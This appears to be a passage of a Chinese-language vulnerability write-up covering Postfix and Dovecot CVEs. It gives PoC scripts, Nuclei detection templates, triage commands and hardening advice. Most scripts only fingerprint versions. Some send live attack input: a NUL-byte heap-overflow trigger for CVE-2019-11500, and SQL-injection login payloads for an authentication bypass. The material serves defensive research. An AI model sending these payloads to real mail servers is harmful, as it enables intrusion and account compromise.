print(f "[*] DATA 响应: { resp. strip()} " )
if "250" in resp:
print("[!] 可能受 SMTP Smuggling 影响( \n . \n 被接受为数据结束)" )
except socket. timeout:
print("[*] 连接超时" )
s. send(b "QUIT \r\n " )
s. close()
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
smtp_smuggling_test(target) Nuclei YAML 检测模板 id : postfix-cve-2023-51764
info :
name : Postfix SMTP Smuggling - CVE-2023-51764
author : x7peeps
severity : high
description : |
Postfix SMTP Smuggling 漏洞允许攻击者伪造发件人地址并绕过 SPF 检查。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-51764
- https://www.postfix.org/smtp-smuggling.html
- https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score : 5.3
cwe-id : CWE-94
metadata :
max-request : 1
tags : postfix,cve2023,smtp,smuggling
tcp :
- inputs :
- data : "EHLO {{randstr}}\r\n"
read : true
- data : "QUIT\r\n"
read : true
host :
- "{{Hostname}}"
matchers :
- type : word
words :
- "Postfix" 0x02.2 CVE-2022-32451 — Postfix DNS 响应解引用 DoS(CVSS 7.5) 漏洞背景 CVE-2022-32451 是 Postfix 在处理 DNS 响应时的拒绝服务漏洞。当 Postfix 作为客户端向远程 MTA 发送邮件时,会进行 DNS 反向解析。如果攻击者控制了目标域的 DNS 服务器,可以返回包含大量嵌套 CNAME 记录的 DNS 响应,导致 Postfix 在解析过程中消耗大量 CPU 和内存资源。
受影响版本 版本分支 受影响版本 修复版本 Postfix < 3.7.4 3.7.4 Postfix < 3.6.4 3.6.4 Postfix < 3.5.10 3.5.10
漏洞原理分析 Postfix 的 DNS 解析器在处理 CNAME 链时未设置足够的递归深度限制。攻击者构造深度嵌套的 CNAME 记录链(A → B → C → … → Z),每个解析步骤都消耗内存和 CPU。当链足够长时,可导致 Postfix 进程内存耗尽或超时,影响所有待处理邮件的投递。
HTTP/curl PoC # 检测 Postfix 版本
( echo "EHLO test" ; sleep 1; echo "QUIT" ) | nc TARGET 25 | grep -i "postfix\|version" Python PoC 脚本 import socket
import time
def detect_postfix_version (target, port= 25 ):
"""检测 Postfix 版本"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
banner = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Banner: { banner. strip()} " )
if "Postfix" in banner:
print("[*] 目标运行 Postfix" )
if "3.7.3" in banner or "3.6.3" in banner or "3.5.9" in banner:
print("[!] 可能受 CVE-2022-32451 影响" )
else :
print("[-] 目标未运行 Postfix" )
s. close()
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
detect_postfix_version(target) Nuclei YAML 检测模板 id : postfix-cve-2022-32451
info :
name : Postfix DNS Response DoS - CVE-2022-32451
author : x7peeps
severity : high
description : |
Postfix DNS 响应 CNAME 解引用深度无限制可导致拒绝服务。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-32451
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score : 7.5
cwe-id : CWE-400
metadata :
max-request : 1
tags : postfix,cve2022,dos,dns
tcp :
- inputs :
- data : "EHLO {{randstr}}\r\n"
read : true
- data : "QUIT\r\n"
read : true
host :
- "{{Hostname}}"
matchers :
- type : word
words :
- "Postfix" 0x03 Dovecot 高危漏洞 0x03.1 CVE-2019-11500 — NUL 字节 RCE(CVSS 10.0) 漏洞背景 CVE-2019-11500 是 Dovecot 历史上最严重的安全漏洞,CVSS 满分 10.0。由宾夕法尼亚大学的 Nick Roessler 和 Rafi Rubin 发现,影响 Dovecot 的 IMAP 和 ManageSieve 协议解析器。在处理包含 NUL 字节(\0)的引号字符串时,协议解析器未能正确处理,导致堆越界写入。
受影响版本 版本分支 受影响版本 修复版本 Dovecot 2.2.x < 2.2.36.4 2.2.36.4 Dovecot 2.3.x < 2.3.7.2 2.3.7.2 Pigeonhole < 0.5.7.2 0.5.7.2
漏洞原理分析 IMAP 和 ManageSieve 协议解析器在扫描引号字符串中的数据时,未正确处理 NUL 字节(\0)。这导致堆上的越界写入:
Pre-login 阶段 :可写入堆上最多 8096 字节Post-login 阶段 :可写入堆上最多 65536 字节漏洞利用不需要认证,且不会导致进程崩溃,因此攻击痕迹极其隐蔽。Dovecot 官方建议使用 valgrind 观察越界读取。
HTTP/curl PoC # 使用 perl 生成触发 payload 并发送到 IMAP 端口
perl -e 'print "a id (\"foo\" \"".("x"x1021)."\\A\" \"bar\" \"\000".("x"x1020)."\\A\")\n"' | nc TARGET 143 Python PoC 脚本 import socket
import time
def detect_dovecot_version (target, port= 143 ):
"""检测 Dovecot 版本和漏洞状态"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
banner = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Banner: { banner. strip()} " )
s. send(b "a001 CAPABILITY \r\n " )
time. sleep(0.5 )
capa = s. recv(4096 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] CAPABILITY: { capa. strip()} " )
if "Dovecot" in banner or "Dovecot" in capa:
print("[*] 目标运行 Dovecot" )
for part in banner. split() + capa. split():
if part. startswith("2." ) or part. startswith("2," ):
version = part. rstrip(",)" )
print(f "[*] 版本: { version} " )
try :
ver_tuple = tuple(int(x) for x in version. split("." )[:3 ])
if ver_tuple < (2 , 2 , 36 ) or (
ver_tuple >= (2 , 3 , 0 ) and ver_tuple < (2 , 3 , 7 )
):
print("[!] 版本受 CVE-2019-11500 影响(NUL 字节 RCE)" )
return True
except (ValueError , IndexError ):
pass
s. send(b "a002 LOGOUT \r\n " )
s. close()
return False
def trigger_nul_byte (target, port= 143 ):
"""CVE-2019-11500 触发序列演示"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
s. recv(1024 )
payload = b 'a001 id ("foo" "'
payload += b 'x' * 1021
payload += b ' \\ A" "bar" " \\ 0'
payload += b 'x' * 1020
payload += b ' \\ A") \r\n '
print(f "[*] 发送 NUL 字节 payload ( { len(payload)} bytes)" )
s. send(payload)
time. sleep(1 )
try :
resp = s. recv(4096 )
print(f "[*] 响应: { resp[:200 ]} " )
except socket. timeout:
print("[*] 无响应(可能已触发漏洞或连接关闭)" )
s. close()
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
detect_dovecot_version(target) Nuclei YAML 检测模板 id : dovecot-cve-2019-11500
info :
name : Dovecot IMAP NUL Byte RCE - CVE-2019-11500
author : x7peeps
severity : critical
description : |
Dovecot IMAP/ManageSieve NUL 字节处理不当导致堆越界写入和 RCE。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2019-11500
- https://dovecot.org/pipermail/dovecot-news/2019-August/000418.html
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 10.0
cwe-id : CWE-787
metadata :
max-request : 1
tags : dovecot,cve2019,rce,imap,nul-byte
tcp :
- inputs :
- data : "a001 CAPABILITY\r\n"
read : true
- data : "a002 LOGOUT\r\n"
read : true
host :
- "{{Hostname}}"
- "{{Hostname}}:143"
matchers :
- type : word
words :
- "Dovecot" 0x03.2 CVE-2026-24031 — SQL 注入绕过认证(CVSS 7.7) 漏洞背景 CVE-2026-24031 是 Dovecot v2.4/v3.1 版本回归引入的 SQL 注入漏洞,影响 SQL 认证机制。当管理员清空 auth_username_chars 配置参数时,攻击者可绕过身份验证并枚举系统用户。
受影响版本 版本分支 受影响版本 修复版本 前提条件 Dovecot 2.4.x ≤ 2.4.0 最新版本 auth_username_chars 被清空 Dovecot 3.1.x ≤ 3.1.0 最新版本 auth_username_chars 被清空
漏洞原理分析 auth_username_chars 配置项定义了用户名中允许使用的字符集,是防止 SQL 注入的关键输入验证层。当管理员将其清空后,Dovecot 不再限制用户名中的字符,SQL 元字符(单引号、分号、注释符等)可通过用户名字段传入认证查询。
攻击者可构造如 ' OR 1=1 -- 的用户名绕过认证,或使用 UNION SELECT 提取数据库信息。
HTTP/curl PoC # 通过 IMAP 登录尝试 SQL 注入
( echo "a001 LOGIN \"' OR 1=1 --\" password" ; sleep 1; echo "a002 LOGOUT" ) | nc TARGET 143 Python PoC 脚本 import socket
import time
def test_sqli_auth_bypass (target, port= 143 ):
"""测试 CVE-2026-24031 SQL 注入认证绕过"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
s. recv(1024 )
payloads = [
"' OR 1=1 --" ,
"admin' --" ,
"' UNION SELECT 1,1,1 --" ,
"test'/**/OR/**/1=1" ,
]
for i, payload in enumerate(payloads):
s. send(f "a { i: 03d } LOGIN \" { payload} \" test123 \r\n " . encode())
time. sleep(0.5 )
resp = s. recv(4096 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Payload: { payload} " )
print(f " 响应: { resp. strip()} " )
if "OK" in resp and "LOGIN" not in resp. upper(). split("OK" )[0 ][- 5 :]:
print(f " [!] 疑似认证绕过成功!" )
s. send(b "a999 LOGOUT \r\n " )
s. close()
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
test_sqli_auth_bypass(target) Nuclei YAML 检测模板 id : dovecot-cve-2026-24031
info :
name : Dovecot SQL Injection Auth Bypass - CVE-2026-24031
author : x7peeps
severity : high
description : |
Dovecot SQL 认证在 auth_username_chars 被清空时存在注入漏洞。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2026-24031
- https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
cvss-score : 7.7
cwe-id : CWE-89
metadata :
max-request : 1
tags : dovecot,cve2026,sqli,auth-bypass
tcp :
- inputs :
- data : "a001 CAPABILITY\r\n"
read : true
- data : "a002 LOGIN \"' OR 1=1 --\" test\r\n"
read : true
- data : "a003 LOGOUT\r\n"
host :
- "{{Hostname}}"
- "{{Hostname}}:143"
matchers :
- type : word
words :
- "Dovecot" 0x03.3 CVE-2021-33515 — STARTTLS 认证绕过(CVSS 4.8) 漏洞背景 CVE-2021-33515 由明斯特应用科学大学的 Fabian Ising 和 Damian Poddebniak 发现,存在于 Dovecot 的 Submission 服务中。MITM 攻击者可在 STARTTLS 协商之前注入明文命令,这些命令在 TLS 升级完成后仍被执行,导致敏感信息重定向到攻击者控制的地址。
受影响版本 版本分支 受影响版本 修复版本 Dovecot < 2.3.15 2.3.15
漏洞原理分析 MITM 攻击者在 Dovecot Submission 服务的 STARTTLS 协商之前注入明文 SMTP 命令。由于 lib-smtp 的命令解析在 TLS 升级后仍保留了明文命令的执行上下文,攻击者可将用户凭据和邮件重定向到攻击者控制的地址。
Python PoC 脚本 def describe_starttls_injection ():
print("[*] CVE-2021-33515 — STARTTLS 命令注入" )
print("[*] 攻击步骤:" )
print(" 1. 作为 MITM 位于客户端和 Dovecot 之间" )
print(" 2. 在 STARTTLS 协商前注入明文 SUBMIT 命令" )
print(" 3. 命令在 TLS 上下文中被执行" )
print(" 4. 用户凭据被重定向到攻击者地址" )
print("[*] 修复: 升级到 Dovecot 2.3.15+" )
print("[*] 缓解: 禁用 STARTTLS,仅使用 993/465/995 端口" )
if __name__ == "__main__" :
describe_starttls_injection() Nuclei YAML 检测模板 id : dovecot-cve-2021-33515
info :
name : Dovecot STARTTLS Command Injection - CVE-2021-33515
author : x7peeps
severity : medium
description : |
Dovecot Submission 服务 STARTTLS 命令注入导致认证信息泄露。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-33515
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score : 4.8
metadata :
max-request : 1
tags : dovecot,cve2021,starttls,auth-bypass
tcp :
- inputs :
- data : "a001 CAPABILITY\r\n"
read : true
- data : "a002 LOGOUT\r\n"
host :
- "{{Hostname}}"
- "{{Hostname}}:143"
matchers :
- type : word
words :
- "Dovecot" 0x03.4 CVE-2023-34108 — 变量注入信息泄露(CVSS 8.8) 漏洞背景 CVE-2023-34108 存在于基于 Dovecot 的 mailcow 邮件套件中。passwd-verify.lua 认证脚本在验证密码时,将密码值直接拼接到返回字符串中。攻击者可通过构造包含额外键值对的密码,操纵 Dovecot 内部变量。
受影响版本 产品 受影响版本 修复版本 mailcow:dockerized ≤ 2023-05 2023-05a
漏洞原理分析 passwd-verify.lua 成功认证后返回 password=<valid-password>。当密码为 123 mail_crypt_save_version=0 时,返回值变为 password=123 mail_crypt_save_version=0,Dovecot 将其解释为多个键值对,从而设置内部变量。
Python PoC 脚本 def describe_mailcow_injection ():
print("[*] CVE-2023-34108 — mailcow 变量注入" )
print("[*] 伪造密码示例: 'mypassword mail_crypt_save_version=0'" )
print("[*] 返回值: 'password=mypassword mail_crypt_save_version=0'" )
print("[*] Dovecot 解析为: password=mypassword, mail_crypt_save_version=0" )
print("[*] 影响: 绕过邮件加密设置,访问其他用户邮件" )
print("[*] 修复: 升级 mailcow 到 2023-05a+" )
if __name__ == "__main__" :
describe_mailcow_injection() Nuclei YAML 检测模板 id : mailcow-cve-2023-34108
info :
name : mailcow Dovecot Variable Injection - CVE-2023-34108
author : x7peeps
severity : high
description : |
mailcow passwd-verify.lua 通过特制密码可注入 Dovecot 内部变量。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-34108
- https://mailcow.email/posts/2023/cve-2023-34108/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
metadata :
max-request : 1
tags : mailcow,dovecot,cve2023,variable-injection
tcp :
- inputs :
- data : "a001 CAPABILITY\r\n"
read : true
- data : "a002 LOGOUT\r\n"
host :
- "{{Hostname}}"
- "{{Hostname}}:143"
matchers :
- type : word
words :
- "Dovecot" 0x04 公开 PoC 收集情况与利用思路 PoC 收集情况总表 关键 PoC 仓库链接 Exim 21Nails : https://www.qualys.com/research/security-advisories/Exim Dead.Letter : https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-eximCVE-2025-26794 Docker Lab : https://github.com/OscarBataille/CVE-2025-26794SMTP Smuggling : https://github.com/duy-31/CVE-2023-51764CVE-2018-6789 利用 : https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/防守型验证思路 版本指纹识别 :通过 SMTP/IMAP Banner 提取版本号,对照受影响版本矩阵能力探测 :检测 STARTTLS、CHUNKING、ETRN、EXTERNAL AUTH 等扩展支持配置审计 :检查 auth_username_chars、SQLite DBM、EXTERNAL 认证器等高风险配置被动流量分析 :监控 SMTP 会话中的异常 BDAT 序列、NTLM 交互和 NUL 字节0x05 共性攻击模式分析 1. SMTP 协议状态机滥用 多个漏洞(CVE-2026-45185、CVE-2023-51764、CVE-2023-42115)利用了 SMTP 协议状态机在不同阶段之间的转换缺陷。攻击者通过构造非预期的命令序列(如在 TLS 会话关闭后发送明文数据,或在 DATA 阶段注入新命令),使 MTA 在错误的处理上下文中执行操作。
2. 输入验证缺失导致注入类漏洞 Exim 的 SQLite SQL 注入(CVE-2025-26794)和 Dovecot 的 SQL 注入(CVE-2026-24031)共享相同的根本原因:将用户可控数据直接拼接到数据库查询中,缺少参数化查询或输入转义机制。ETRN 命令的域名参数和 Dovecot 的用户名字段都成为注入向量。
3. 内存安全漏洞在 C 语言邮件系统中的系统性存在 从 CVE-2018-6789(base64 off-by-one)到 CVE-2022-37452(堆溢出)再到 CVE-2026-45185(UAF),Exim 的内存安全漏洞呈现出跨版本的持续性。这些漏洞分布在 SMTP 协议解析、TLS 集成、DNS 处理等多个代码路径中,反映了 C 语言代码库中内存安全问题的系统性特征。
4. 本地提权与远程漏洞的组合利用链 Qualys 21Nails 审计完美展示了这一模式:CVE-2020-28018/28020(远程 RCE 获取 exim 用户 shell)+ CVE-2020-28007/28008(本地提权到 root)= 完整的远程 root 代码执行。这种 RCE + LPE 组合模式在邮件系统攻击中具有普遍性。
5. 协议解释差异导致跨系统攻击面 SMTP Smuggling(CVE-2023-51764)和 Dovecot STARTTLS 注入(CVE-2021-33515)都利用了不同邮件系统之间对同一协议标准的不同解释。RFC 的模糊性和实现差异为跨系统攻击创造了条件。
0x06 应急排查与防守建议 紧急排查清单 # 1. 检查 Exim 版本和构建配置
exim -bV | head -5
exim -bV | grep -i "gnutls\|openssl"
exim4 -bP configure_file | grep -i "driver = external"
exim4 -bP configure_file | grep -i "acl_smtp_etrn"
# 2. 检查 Exim SQLite 配置
exim -bV | grep -i sqlite
grep -r "USE_SQLITE" /etc/exim4/
# 3. 检查 Postfix 版本和 SMTP Smuggling 缓解配置
postconf mail_version
postconf smtpd_forbid_bare_newline
postconf smtpd_data_restrictions
# 4. 检查 Dovecot 版本
dovecot --version
# 5. 检查 Dovecot auth_username_chars 配置
grep -r "auth_username_chars" /etc/dovecot/
# 6. 检查 mailcow 版本(如适用)
cd /opt/mailcow-dockerized && git log --oneline -1 日志关键字段表 日志来源 关键字段 关注模式 Exim mainlog SMTP 会话记录异常 BDAT 终止、STARTTLS 后异常关闭 Exim paniclog panic 条目 堆损坏、segfault、core dump Exim debuglog TLS/BDAT 调试 ungetc() 调用后内存异常Postfix mail.log smtpd 记录\n.\n DATA 终止序列Dovecot mail.log imap-loginNUL 字节、SQL 关键字在用户名中 Dovecot auth.log 认证记录 异常字符的登录尝试
紧急缓解措施 优先级 措施 适用产品 P0 升级到最新修复版本 所有产品 P1 限制 SMTP/IMAP 访问 IP 白名单 Exim/Postfix/Dovecot P1 禁用 EXTERNAL 认证(Exim) Exim P1 不要清空 auth_username_chars(Dovecot) Dovecot P2 配置 smtpd_forbid_bare_newline=yes Postfix P2 仅使用 993/465/995 加密端口 Dovecot P2 禁用 ETRN 命令(如不需要) Exim
长期安全加固建议 版本管理 :建立邮件系统补丁管理流程,订阅 Exim/Postfix/Dovecot 安全公告邮件列表构建安全 :Exim 使用 OpenSSL 替代 GnuTLS 构建可减少 CVE-2026-45185 攻击面;避免启用 USE_SQLITE网络隔离 :SMTP/IMAP 服务部署在 DMZ,通过防火墙限制源 IP认证加固 :禁用明文认证,强制 TLS;禁用 NTLM 和 EXTERNAL 等高风险认证机制日志监控 :部署 SIEM 规则监控邮件系统的异常认证尝试、协议违规和进程崩溃最小权限 :确保 Exim/Postfix/Dovecot 进程以最小必要权限运行,限制文件系统访问0x07 参考资料 XBOW. “Dead.Letter (CVE-2026-45185) How XBOW Found an Unauthenticated RCE on Exim.” https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim Exim Security Advisory. “CVE-2026-45185.” https://exim.org/static/doc/security/CVE-2026-45185.txt NVD. “CVE-2026-45185 Detail.” https://nvd.nist.gov/vuln/detail/CVE-2026-45185 Oscar Bataille. “CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM).” https://github.com/OscarBataille/CVE-2025-26794 Qualys. “21Nails: Multiple vulnerabilities in Exim.” https://www.qualys.com/research/security-advisories/ Zero Day Initiative. “ZDI-23-1469: Exim AUTH Out-Of-Bounds Write Remote Code Execution Vulnerability.” https://www.zerodayinitiative.com/advisories/ZDI-23-1469/ SEC Consult. “SMTP Smuggling – Spoofing E-Mails Worldwide.” https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/ Postfix Official. “SMTP Smuggling.” https://www.postfix.org/smtp-smuggling.html Dovecot Security. “CVE-2019-11500: Critical vulnerability in Dovecot and Pigeonhole.” https://dovecot.org/pipermail/dovecot-news/2019-August/000418.html Open-Xchange. “OXDC-ADV-2026-0001 Dovecot Security Advisory.” https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html DEVCORE. “Exim Off-by-one RCE: Exploiting CVE-2018-6789.” https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/ NIST NVD. “CVE-2023-51764 Detail.” https://nvd.nist.gov/vuln/detail/CVE-2023-51764